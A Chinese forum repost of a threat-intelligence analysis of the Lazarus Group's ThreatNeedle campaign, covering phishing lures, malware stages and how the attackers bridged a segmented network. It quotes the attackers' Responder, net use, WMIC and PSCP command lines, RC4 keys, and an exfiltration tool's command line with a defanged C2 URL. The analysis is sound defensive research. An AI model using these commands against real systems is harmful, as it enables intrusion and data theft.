安全矩阵

 找回密码
 立即注册
搜索
查看: 2488|回复: 0

APT案例分析 | Lazarus利用ThreatNeedle攻击某工业

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-30 08:30:44 | 显示全部楼层 |阅读模式
原文链接:APT案例分析 | Lazarus利用ThreatNeedle攻击某工业

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

Lazarus Group[1]是一个源于朝鲜政府的威胁组织,由于其发起攻击的性质及其攻击行动中使用的各种攻击手法,现已被指定为高级持续性威胁。Lazarus Group至少从2009年就开始活跃,该组织是2014年11月对Sony Pictures Entertainment的毁灭性雨刮攻击的负责人,这是Novetta开展的名为“Operation Blockbuster”的活动的一部分。Lazarus Group使用的恶意软件与其他报告的活动有关,包括“Operation Flame”、“Operation 1Mission”、“Operation Troy”、“DarkSeoul” 和 “Ten Days of Rain”[2]。在2017年末,Lazarus Group使用磁盘擦除工具KillDisk攻击了中美洲一家在线赌场[3]。2020年中期,卡巴斯基研究团队发现Lazarus正在使用ThreatNeedle恶意软件家族对国防工业发起攻击[4]。

01   ThreatNeedle恶意软件家族


ThreatNeedle集群是Manuscrypt(又名NukeSped)的高级恶意软件集群,infosec研究人员已观察到这是北朝鲜ATP(高级持续威胁)组织Lazarus(也称为APT38和Hidden Cobra)的威胁武库的一部分。Lazarus Group在鱼叉式网络钓鱼电子邮件中使用了COVID-19主题,并使用公开来源收集的个人信息修饰了主题。在获得最初立足点之后,攻击者收集了凭证并横向移动,在受害者环境中寻找关键资产。我们观察到他们如何通过访问内部路由器机器并将其配置为代理服务器,从而允许他们将被盗数据从Intranet网络传输到其远程服务器,从而克服了网络分段的问题。到目前为止,十几个国家的组织已受到影响。

02  ThreatNeedle的初次感染


在这种攻击中,鱼叉式网络钓鱼被用作初始感染媒介。在发起攻击之前,该小组研究了有关目标组织的公开可用信息,并确定了属于公司各个部门的电子邮件地址。如图1所示,这些部门中的电子邮件地址收到的网络钓鱼电子邮件要么带有恶意的Word文档,要么带有指向远程服务器上托管的链接的链接。网络钓鱼电子邮件声称对当今最热门的主题– COVID-19感染具有紧急更新。网络钓鱼电子邮件是为受攻击组织的一部分医疗中心精心制作和编写的。

攻击者使用公共电子邮件服务注册了帐户,确保发件人的电子邮件地址看起来与医疗中心的真实电子邮件地址相似。网络钓鱼电子邮件中显示的签名包括受攻击组织的医疗中心副校长的实际个人数据。攻击者能够在医疗中心的公共网站上找到此信息。


图1 网络钓鱼电子邮件以及指向恶意文档的链接

Microsoft Word文档中的宏包含旨在在受感染的系统上下载并执行其他恶意软件的恶意代码。如图2所示,诱饵文件的内容是由一家健康诊所从在线帖子中复制而来的,包含有关人口健康评估计划的信息,与网络钓鱼电子邮件(COVID-19)的主题没有直接关系,这表明攻击者可能不完全了解他们使用的内容的含义。



图2 恶意文件的内容

调查表明,最初的鱼叉式网络钓鱼尝试未成功,原因是在目标系统的Microsoft Office安装中禁用了宏。为了说服目标允许恶意宏,攻击者发送了另一封电子邮件,显示了如何在Microsoft Office中启用宏。

发送了上述电子邮件并附有解释后,攻击者意识到目标计算机使用的是其他版本的Microsoft Office,因此需要使用不同的过程来启用宏。如图3,攻击者随后发送了另一封电子邮件,并在带有俄语语言包的屏幕快照中显示了正确的过程。


图3 通过电子邮件发送有关启用宏

攻击者从2020年5月21日至5月26日发送的鱼叉式网络钓鱼电子邮件中的内容不包含任何语法错误。但是,在随后的电子邮件中,攻击者犯了许多错误,如图4所示,这表明他们可能不是俄语母语人士,并且正在使用翻译工具。


图4 电子邮件包含一些语法错误

该小组还利用了不同类型的鱼叉式网络钓鱼攻击,一名受感染的主机在2020年5月19日收到了几个鱼叉式钓鱼网站文件,传递的恶意文件名为Boeing_AERO_GS.docx,它从远程服务器上获取模板。

卡巴斯基研究者根据其遥测技术检索了与此恶意软件相关的恶意文档,它创建payload和快捷方式文件,然后使用以下命令行参数继续执行payload。

​payload路径:%APPDATA%\ Microsoft \ Windows \ lconcaches.db
​快捷方式路径:%APPDATA%\ Microsoft \ Windows \开始菜单\ Programs \ Startup \ OneDrives.lnk

诱饵文件的内容描述了发电机/电力行业工程师的职位描述,如图5所示。



图 5诱饵文件


打开恶意文档并允许宏后,ThreatNeedle恶意软件将进入多阶段部署过程。其感染流程如图6所示,初始鱼叉式网络钓鱼文档创建的payload将下一个阶段加载为内存中运行的后门程序-ThreatNeedle后门程序,ThreatNeedle提供控制感染受害者的功能。攻击者使用它进行初步侦察并部署其他恶意软件进行横向移动,此时攻击者会在此过程中使用ThreatNeedle安装程序类型的恶意软件。该安装程序负责植入下一阶段的加载程序类型的恶意软件,并对其进行注册以自动执行。ThreatNeedle加载程序类型的恶意软件存在多种变体,其主要目的是在内存中加载ThreatNeedle恶意软件的最后阶段。


图6 感染流程
ThreatNeedle installer
启动后,恶意软件使用RC4(密钥:B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4)解密嵌入的字符串,并将其与“ 7486513879852 ”进行比较。如果用户在不使用命令行参数的情况下执行此恶意软件,则该恶意软件会启动一个带有 “复仇者联盟”系列深色图标的合法计算器。

进一步进入感染过程,恶意软件会从netsvc中随机选择一个服务名称,以便将其用于payload创建路径。然后,该恶意软件在系统文件夹中创建一个名为bcdbootinfo.tlp的文件,包含感染时间和所选的随机服务名称,恶意软件操作员会检查此文件,以查看远程主机是否已感染,以及是否感染了感染的时间。然后,使用RC4算法解密嵌入的payload,将其保存到当前目录中具有随机创建的五个字符文件名的.xml扩展名中,并将其复制到具有.sys扩展名的系统文件夹中。

最后的payload是在内存中运行的ThreatNeedle加载程序。此时,加载程序使用其他RC4密钥(3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20),并且发现恶意软件已注册为Windows服务并启动。此外,该恶意软件还会将配置数据另存为在RC4中加密的注册表项:

​HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ GameConfig –说明


ThreatNeedle loader
该组件负责将最终的后门payload加载到内存中。为了做到这一点,ThreatNeedle使用多种技术来解密其payload:

​从注册表加载payload。
​解密RC4和解压缩后,从自身加载payload。
​解密AES和解压缩后,从自身加载payload。
​减压后从自身加载payload。
​一字节异或后,从自身加载payload。

大多数loader-style的恶意软件类型都会检查命令行参数,并且仅在给出了预期参数的情况下才继续执行恶意程序,这是ThreatNeedle loader的一个共同特征。最常见的示例类似于ThreatNeedle installer,恶意软件使用RC4解密嵌入的字符串,并在启动时将其与参数“ Sx6BrUk4v4rqBFBV”进行比较,如果匹配则恶意软件开始使用相同的RC4密钥解密其嵌入的payload,解密后的payload是一个存档文件,该文件随后在该过程中被解压缩。最终,ThreatNeedle恶意软件在内存中产生。

ThreatNeedle loader的另一种形式是从受害者的注册表中准备下一阶段的payload。从安装程序恶意软件描述中可以看出,注册表项可能是由安装程序组件创建的,从注册表中检索的数据使用RC4解密并解压缩,最终,它将被加载到内存中并调用导出功能。

ThreatNeedle后门
在内存中执行的最终payload是ThreatNeedle后门,它具有以下功能来控制受感染的受害者计算机:

​处理文件/目录
​系统分析
​控制后门程序
​进入睡眠或休眠模式
​更新后门配置
​执行收到的命令


03  成功感染Threat Needle后的阶段


攻击者执行了一个名为Responder的凭据收集工具,并使用Windows命令横向移动。Lazarus克服了网络分段问题,通过破坏路由器虚拟机,从与互联网断开的完全隔离的网络分段中窃取数据。

通过感染了ThreatNeedle后门的主机类型,卡巴斯基研究团队推测此攻击的主要目的是窃取知识产权。最后,使用自定义工具对窃取的数据进行窃听,以下是卡巴斯基调查感染主机的大致时间表:


图 7感染主机的时间表
凭证收集
在调查过程中,发现响应程序工具是从收到鱼叉式网络钓鱼文件的一台受害者计算机上执行的。初始感染的一天后,恶意软件操作员将该工具放置在此主机上,并使用以下命令执行该工具:

​[响应者文件路径] -i [IP地址] -rPv


几天后,攻击者开始从此主机侧向移动,因此推测攻击者已成功从该主机获取登录凭据,并开始将其用于进一步的恶意活动。

横向运动
获取登录凭据后,攻击者开始从工作站横向移动到服务器主机。使用Windows命令使用了典型的横向移动方法。首先,使用“ net use”命令建立与远程主机的网络连接。

​net use\\ [IP地址] \ IPC $“ [密码] ” / u:“ [用户名]”> $ temp \〜tmp5936t.tmp 2>&1”


接下来,攻击者使用Windows管理规范命令行(WMIC)将恶意软件复制到远程主机。

​exe / node:[IP地址] / user:“ [用户名]” / password:“ [password]” PROCESS CALL CREATE “ cmd.exe / c $ appdata \ Adobe \ adobe.bat
​exe / node:[IP地址] / user:“ [用户名]” / password:“ [password]” PROCESS CALL CREATE “ cmd / c sc queryex helpvc> $ temp \ tmp001.dat

网络分段
在这项研究过程中,攻击者用一种非常有趣的技术进行横向移动并窃取数据。受攻击的企业网络分为两个部分:公司或企业(一个计算机可以访问Internet的网络)和受限制的团体(计算机在其中托管敏感数据并且不能访问Internet的网络)。根据公司政策,这两个部分之间不允许信息传递,即这两个部分是要完全分开的。

最初,攻击者能够访问具有Internet访问权限的系统,并花费了很长时间在网络的企业部门的计算机之间分发恶意软件。在受感染计算机中,有企业IT基础架构管理员使用的计算机。

值得注意的是,管理员可以同时连接到公司网段和受限制的网段,以维护系统并在两个区域中为用户提供技术支持。结果,通过获得管理员工作站的控制权,攻击者能够访问受限制的网段。但是,由于无法在网段之间直接路由连接,因此攻击者无法使用其标准恶意软件将数据从受限网段泄漏到C2。

这种情况在7月2日发生了变化,如图8所示,攻击者设法获得了管理员用来连接到两个网段中系统的路由器的凭据。路由器是一台运行CentOS的虚拟机,可根据预定义的规则在多个网络接口之间进行路由连接。



图 8受害人网段之间的连接布局

根据收集的证据(如图9),攻击者扫描了路由器的端口并检测到Webmin界面。接下来,攻击者使用特权根帐户登录Web界面。尚不清楚攻击者如何获得该帐户的凭据,但凭据可能保存在受感染系统的浏览器密码管理器之一中。



图 9 日志列表Webmin Web界面登录

通过访问配置面板,攻击者配置了Apache Web服务器,并开始将路由器用作组织的公司部门和受限部门之间的代理服务器,路由器上使用的服务列表如图10所示。


图 10 路由器上使用的服务列表

此后几天,即2020年7月10日,攻击者通过SSH连接到路由器,并在其中一台被感染的计算机上设置了PuTTy PSCP(PuTTY安全复制客户端)实用程序。该实用程序用于将恶意软件上载到路由器VM。这使攻击者能够使用路由器托管样本,将恶意软件放置在企业网络受限网段的系统上。此外,在网络受限网段中运行的恶意软件还可以通过在同一路由器上设置的Apache服务器将收集到的数据泄露到命令和控制服务器。


图 11攻击者入侵后的新连接布局

卡巴斯基团队在调查过程中,使用路由器的硬编码URL(用作代理服务器)识别了恶意软件样本。



图 12恶意软件中的硬编码代理地址

由于攻击者会定期从路由器删除日志文件,因此只能恢复通过SSH输入到命令行的少数命令。对这些命令的分析表明,攻击者试图使用route命令重新配置流量路由。


图 13攻击者命令

攻击者还在路由器VM上运行nmap,并在企业网络受限网段内的系统上扫描端口。9月27日,攻击者开始使用logrotate实用程序来设置自动删除日志文件的功能,从路由器中删除其活动的所有痕迹。



图 14 Webmin日志
数据泄露
恶意软件操作员试图从数个受损的服务器主机创建到位于韩国的远程服务器的SSH隧道。他们使用了自定义的隧道工具来实现这一目标,该工具接收四个参数:客户端IP地址、客户端端口、服务器IP地址和服务器端口,其提供基本功能可将客户端流量转发到服务器。为了创建隐蔽通道,恶意软件使用trivial binary encryption对转发的流量进行加密。


图 15加密程序

攻击者使用隐蔽通道,利用PuTTy PSCP工具将数据从远程服务器复制到主机:

​%APPDATA%\PBL\unpack.tmp -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp


从服务器复制数据后,攻击者使用定制工具将窃取的数据泄漏到远程服务器。该恶意软件看起来像是合法的VNC客户端,如果在没有任何命令行参数的情况下执行,则会像一个VNC客户端一样运行。


图 16执行不带参数的恶意软件

但是如果使用特定的命令行参数执行此应用程序,则会运行其他恶意功能。根据卡巴斯基团队的遥测,攻击者使用六个参数执行了此应用程序:

%APPDATA%\ Comms \ Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA hxxps://www.gonnelli [.] it / uploads / catalogo / thumbs / thumb [.] asp%APPDATA%\ Comms \ cab59.tmp FL0509 15000

此外,如果命令行参数的数量大于六个,则恶意软件会跳入恶意例程。恶意软件还会检查第二个参数的长度,如果少于29个字符,将终止执行。参数检查过程成功通过后,恶意软件将开始解密其下一个payload。

嵌入的payload通过XOR解密,其中payload末尾的每个字节都应用于前一个字节。接下来,XORed Blob接收提供的第二个命令行参数(在本例中为S0RMM-50QQE-F65DN-DCPYN-5QEQA)。该恶意软件可以接受更多命令行参数,并且根据其数量,运行方式也有所不同,例如,它也可以使用“ -p”选项接收代理服务器地址。

当执行解密的内存payload时,它会将传递的配置数据的标头与字符串“ 0x8406”进行比较,以确认其有效性。payload将打开给定文件(在本示例中为%APPDATA%\ Comms \ cab59.tmp),并开始将其分发到远程服务器。当恶意软件将数据上传到C2服务器时,它使用HTTP POST请求,并带有两个名为'fr'和'fp'的参数:

​“ fr”参数包含要上传的命令行参数中的文件名。
​'fp'参数包含base64编码的大小,内容的CRC32值和文件内容。


图 17 fp参数的内容


04  结论


近年来,Lazarus Group专注于攻击世界各地的金融机构,但是从2020年初开始,他们专注于积极进攻国防工业。以前Lazarus曾在针对加密货币企业时利用了此攻击中使用的ThreatNeedle恶意软件,目前Lazarus正在积极地将ThreatNeedle恶意软件用于网络间谍攻击。

在这次活动中,Lazarus Group展示了其先进的水平和能力来规避他们在攻击过程中面临的安全防御措施,例如网络分段等。卡巴斯基评估Lazarus是一个多产的APT组织,能够使用不同的策略和工具发起不同的攻击活动,同时他们会在这些攻击活动中共享工具和基础设施以实现其目标。
参考文献[1]https://attack.mitre.org/groups/G0032/
[2]https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
[3]https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
[4]https://securelist.com/lazarus-threatneedle/100803/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 05:47 , Processed in 0.015728 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表